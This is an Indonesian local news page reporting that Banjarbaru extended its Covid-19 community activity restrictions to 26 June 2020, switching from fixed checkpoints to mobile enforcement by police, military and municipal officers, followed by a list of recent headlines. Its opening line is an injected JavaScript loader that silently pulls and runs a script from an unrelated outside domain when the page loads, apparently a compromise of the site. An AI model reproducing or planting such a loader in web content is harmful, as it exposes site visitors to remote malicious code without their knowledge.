(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Sebaran Covid-19 Meningkat di Banjarbaru, Pembatasan Kegiatan Masyarakat Diperpanjang


KANALKALIMANTAN.COM, BANJARBARU – Upaya penanggulangan pandemi Covid-19 di kota Banjarbaru, melalui pemberlakuan Pembatasan Kegiatan Masyarakat (PKM) diputuskan untuk diperpanjang.

Awalnya, PKM hanya diberlakukan selama dua pekan, yakni dari 31 Mei hingga 13 Juni. Namun, Pemerintah Kota (Pemko) Banjarbaru mengambil kebijakan untuk memperpanjang masa pemberlakuan PKM.

Perpanjangan masa PKM ini tertuang dalam Surat Keputusan Wali Kota Banjarbaru Nomor 188.45/269/KUM/2020 tentang pemberlakuan pelaksanaan pembatasan kegiatan masyarakat dalam rangka percepatan penanganan Corona Virus Disease 2019.

Wakil Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarbaru, Zaini Syahranie mengungkapkan alasan mengapa pemberlakuan PKM diperpanjang, lantaran melihat angka sebaran kasus Covid-19 yang terus meningkat.

“Kita sudah mengadakan rapat dan memutuskan untuk memperpanjang PKM hingga 26 Juni mendatang,” katanya kepada Kanalkalimantan, Senin (15/6/2020) siang.

Namun patut digarisbawahi, kata Zaini, pelaksanaan PKM yang diperpanjuang ini memiliki teknis yang berbeda dibandingkan dengan pelaksaan pada dua pekan lalu. Dalam hal ini, seluruh posko pemantuan telah dinon-aktifkan dan petugas diminta untuk secara langsung terjung ke lapangan mendisiplinkan masyarakat agar menaati protokol kesehatan Covid-19.

“Jadi tidak ada posko-posko lagi. Petugas akan bertindak mendisiplinkan masyarakat secara mobile,” lanjut Zaini.

Petugas dari TNI, Polri, Dishub Banjarbaru dan Satpol PP akan secara langsung memantau kondisi di tempat keramaian, seperti di pasar.

Dandim 1006/Martapura Letkol Arm Siswo Budiarto berharap pada PKM kedua ini kesadaran masyarakat terkait kedisplinan bisa lebih meningkat.  “Selain itu, aparat keamanan akan melaksanakan pengawasan pada tempat-tempat yang disinyalir belum melaksanakan protokol kesehatan,” bebernya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

3 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

4 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

5 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

5 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

6 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

8 jam ago

This website uses cookies.